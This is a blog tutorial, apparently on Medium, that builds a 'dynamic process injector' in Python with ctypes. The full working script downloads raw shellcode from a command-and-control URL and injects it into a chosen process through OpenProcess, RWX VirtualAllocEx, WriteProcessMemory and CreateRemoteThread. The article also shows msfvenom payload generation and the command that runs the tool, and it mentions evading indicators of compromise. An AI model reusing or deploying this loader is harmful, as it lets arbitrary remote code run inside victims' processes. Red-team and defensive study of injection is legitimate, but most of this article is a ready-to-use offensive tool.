win32api with python3 part III: Injection

cpu0x00
System Weakness
Published in
10 min readMay 2, 2023

--

now lets be honest, after the last 2 articles if i made an article on just how to make a standard process injector with ctypes that’ll be lame because at this point that should be easy, so to showcase process injecting with python i decided to make a process injector that utilizes a different approach in injecting shellcode, a dynamic process injector

What is a dynamic process injector?:

in standard process injectors the shellcode that will be injected and sometimes even the pid of the process is hardcoded into the injector however in a dynamic approach the shellcode and the target process is supplied to the injector in an on-demand bases which makes it way more reusable and flexible than the standard one

thats been said lets start as usual by making an (injector.py) and import the libraries

import ctypes # for C based function calls and external C based datatypes 
from ctypes import windll # for kernel32
from ctypes import wintypes # for datatype definitions
from urllib import request # for getting the shellcode from the attacker's server
from time import sleep
import os # for spinning up processes to inject on-demand
import wmi # to get the target process pid by name
import argparse
import threading # for spinning up processes to inject on-demand

first thing to do is to define the command line arguments that we will use with the script, we gonna use 3 cli arguments

1- process_name

2- server — for the script to reach out to, to grab the shellcode

3- and an optional flag (-start-process) if set the script will attempt to start the target process itself and then inject it

we can do this quick and easy with argparse:

parser = argparse.ArgumentParser()
parser.add_argument('process_name', help='process name to inject ex: (notepad.exe)')
parser.add_argument('-server', required=True, help='[REQUIRED] the http server that hosts the shellcode ex: (http://c2.com/shellcode.raw)')
parser.add_argument('-start-process', action='store_true', help='start the target process before injection if its not already running')

args = parser.parse_args()

point to mention: action=’store_true’ tells argparse that this is a flag and doesn’t take a value , to just do something if it is set

next thing to do is to get the pid of the process_name supplied

a simple function with the wmi module to do this:

def get_proc_id():
processes = wmi.WMI().Win32_Process(name=args.process_name)
pid = processes[0].ProcessId
print(f"[*] {args.process_name} process id: {pid}")

return int(pid)

WMI — Windows Management Instrumentation: WMI provides a standard way for developers and administrators to access information about the hardware, software, and configuration settings of a Windows system. This information can be accessed programmatically using a variety of programming languages

this function will take the process name from the cli arguments and pass it to the wmi Win32_Process function and extract its pid and typecast (change the datatype) of the value into an integer and return it to be used

we have the target process pid, now lets use the request module from the urllib to make it reach out to our server and bring the shellcode thats gonna be used

response = request.urlopen(args.server)
shellcode = response.read()

if shellcode:
print(f'[*] retrieved the shellcode from {args.server}')

point to mention: the requests module will not work with this due to parsing differences between urllib and requests

now lets start the regular injection techniques using the windows api

step 1: getting a handle to the target process by the retrieved pid

we can do this by using OpenProcess() function

from the microsoft docs:

OpenProcess doc

the function returns a HANDLE to the opened process and takes 3 arguments of type:

1- DWORD: Desired Access: More on that later

2- BOOL: False

3- DWORD: the pid obtained from wmi

defining it in python:

kernel32 = windll.kernel32

OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD,wintypes.BOOL,wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE

using OpenProcess to get a handle to the target process:

process_id = get_proc_id()
PROCESS_ALL_ACCESS = 0x1fffff

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, process_id)
if phandle:
print("[*] Opened a Handle to the process")

point to mention:

the PROCESS_ALL_ACCESS variable defines what kind of access the handle will have to the opened process in our case its highest kind of access, from OpenProcess() docs:

we can get a list of the variables of the process access rights by following the link in the docs

from the docs:

PROCESS_ALL_ACCESS

but wait a damn minute, where does the 0x1fffff value came from

if you noticed in the image above they are using this symbol “|” which is the bitwise OR operator, the trailing “L” at the end of the hex is representing that this variable is a LONG type variable it should be discarded in code

lets do the bitwise OR operation on the variables in python:

got a handle, step 2: allocating memory in the process using the handle

to be able to put the shellcode in the target process we need to do a couple things:

1- allocate memory space in the target process using the length of the shellcode

2- reserve and commit the allocated memory region for writing the shellcode

3- change the permission of the allocated region to RWX

to do all this we can use VirtualAllocEx() function from the windows api

from the docs:

VirtualAllocEx

the function returns an LPVOID type and takes 5 arguments:

1- HANDLE: the handle to the target process, retrieved with OpenProcess()

2- LPVOID: a Null or in python a None

3- SIZE_T: how much memory to be allocated (the length of the shellcode)

4- DWORD: allocation type means what to do with the allocated memory (more on that later)

5- DWORD: the protection of the allocated memory (RWX)

knowing all that, lets start by defining the function in python

VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD,wintypes.DWORD]
VirtualAllocEx.restype = wintypes.LPVOID

VirtualAllocEx is defined, to use it we gonna need to get 2 constants, first the allocation type and the protection

scrolling down the function docs to see:

Allocation types

the two values of MEM_COMMIT and MEM_RESERVE tells the function to commit and reserve the allocated memory for further use

there is 2 ways to use those, either by using as described above with the bitwise OR operation like this:

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000

MEM_COMMIT | MEM_RESERVE

or by defining a parameter that holds the result of the bitwise-OR operation of the two variables, which is 0x3000

im gonna go with the latter

the second constant we need is the memory protection that will tell VirtualAllocEx to set the allocated memory space to RWX

from the memory protection constants page in microsoft docs:

RWX constant

you can find the link to this page from the docs of the function if scrolled down to flprotect argument

knowing this we can start allocating memory in the target process:

MEM_COMMIT_RESERVE = 0x3000
PAGE_READWRITE_EXECUTE = 0x40

memory = VirtualAllocEx(phandle, None, len(shellcode), MEM_COMMIT_RESERVE, PAGE_READWRITE_EXECUTE)

now lets write our shellcode to the allocated memory space using WriteProcessMemory() function

function doc

this function returns a BOOL and takes 5 arguments of types:

1- HANDLE: the handle to the target process (obtained with OpenProcess)

2- LPVOID: the base (start) address of where to write (the allocated memory)

3- LPCVOID: the buffer to write to memory (the shellcode)

4- SIZE_T: the size of the buffer thats gonna be written: (the length of the shellcode)

5- SIZE_T: a pointer to a null or a pointer a C based zero which is also a null

with this info we can define the function in python:

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL

this function doesn’t take any constants so we can start using it right away to write the shellcode to memory

c_null = ctypes.c_int(0)
writing = WriteProcessMemory(phandle, memory, shellcode, len(shellcode), ctypes.byref(c_null))

the last step would be executing the shellcode in the target process and since the target process is not our current process its a remote process so we can use CreateRemoteThread() function to execute our shellcode from the memory of the target process

CreateRemoteThread doc

the function returns a HANDLE and takes 7 arguments of types:

1- HANDLE: the handle to the target process (obtained by OpenProcess)

2- LPSECURITY_ATTRIBUTES: an LPVOID really and its a Null or a None

3- SIZE_T: a zero

4- LPTHREAD_START_ROUTINE: another LPVOID which is the allocated memory that should contain the shellcode by now

5- LPVOID: a None

6- DWORD: tells the function when to execute the shellcode (more on that later)

7- LPDWORD: A None

defining the function in python:

CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t, wintypes.LPVOID, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD]
CreateRemoteThread.restype = wintypes.HANDLE

before using the function there 1 constant we need to define which is when the function will execute the shellcode, scrolling down the documentation of the function:

EXECUTE_IMMEDIATELY

we need the function to execute the shellcode immediately after it creates the remote thread so we gonna use a 0 for argument 6

now we can use it:

EXECUTE_IMMEDIATELY = 0
Injection = CreateRemoteThread(phandle, None, 0, memory, None, EXECUTE_IMMEDIATLY, None)

the injector is now ready to test

here is the full script cleaned up with a simple extra function to execute the target process on-demand using modules: os, time and threading:

import ctypes
from ctypes import windll
from ctypes import wintypes
from urllib import request
from time import sleep
import os
import wmi
import argparse
import threading


parser = argparse.ArgumentParser(epilog='run shellcode on the fly ;)')
parser.add_argument('process_name', help='process name to inject ex: (notepad.exe)')
parser.add_argument('-server', required=True,help='[REQUIRED] the http server that hosts the shellcode ex: (http://c2.com/shellcode.raw)')
parser.add_argument('-start-process', action='store_true', help='start the target process before injection if its not already running')

args = parser.parse_args()

process_name = args.process_name

kernel32 = windll.kernel32
# constants
MEM_COMMIT_RESERVE = 0x3000
PAGE_READWRITE_EXECUTE = 0x40
PROCESS_ALL_ACCESS = 0x1fffff
EXECUTE_IMMEDIATLY = 0

# Function type redefintions
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD,wintypes.BOOL,wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE

VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD,wintypes.DWORD]
VirtualAllocEx.restype = wintypes.LPVOID

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL

CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t, wintypes.LPVOID, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD]
CreateRemoteThread.restype = wintypes.HANDLE

CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL



def get_proc_id():
processes = wmi.WMI().Win32_Process(name=args.process_name)
pid = processes[0].ProcessId
print(f"[*] {args.process_name} process id: {pid}")

return int(pid)


response = request.urlopen(args.server)
shellcode = response.read()


if shellcode:
print(f'[*] retrieved the shellcode from {args.server}')


if args.start_process:
def start_process():
print(f'[*] starting {args.process_name}')
os.system(args.process_name)
s = threading.Thread(target=start_process)
s.start()
sleep(2)

process_id = get_proc_id()

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, process_id)
if phandle:
print("[*] Opened a Handle to the process")

memory = VirtualAllocEx(phandle, None, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE_EXECUTE)
if memory:
print('[*] Allocated Memory in the process')

c_null = ctypes.c_int(0)
writing = WriteProcessMemory(phandle, memory, shellcode, len(shellcode), ctypes.byref(c_null))
if writing:
print('[*] Wrote The shellcode to memory')

Injection = CreateRemoteThread(phandle, None, 0, memory, None, EXECUTE_IMMEDIATLY, None)

if Injection:
print('[*] Injected the shellcode into the process')
CloseHandle(phandle)

a note before carrying on to test it:

this script can leave multiple IoC’s behind, there always a room for improvements like encrypting the shellcode server-side and decrypting it during execution and more… this is just the basic idea of a dynamic process injector

its test time…

injecting with python is architecture sensitive not like C++ you can not inject an x86 based shellcode with python on an x64 based machine, this is pretty important for injection to work so if on an x64 bit based machine with msfvenom you need to use: window/x64 type payloads if generating for x86 you need to use: window/ type payloads

first lets generate the most dangerous shellcode known to humanity:

# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o shellcode.raw

this will generate a shellcode that executes a calc.exe and save it in its raw formate in a file called shellcode.raw

now spin up a http server in the directory of the payload

# python3 -m http.server 80

and now lets use the injector to get the payload from our http server and inject it into notepad.exe

python3 injector.py notepad.exe -server http://HTTP_SERVER/shellcode.raw

if notepad.exe closed after this don’t worry its normal as long as calc.exe popped up i don’t know why if you do hit me up with the reason

if anything in this article is vague please refer back to the first article where i tried to explain the basic concepts of using ctypes with the windows api in details, you can find it here, and don’t hesitate to reach out to me for any further questions

--

--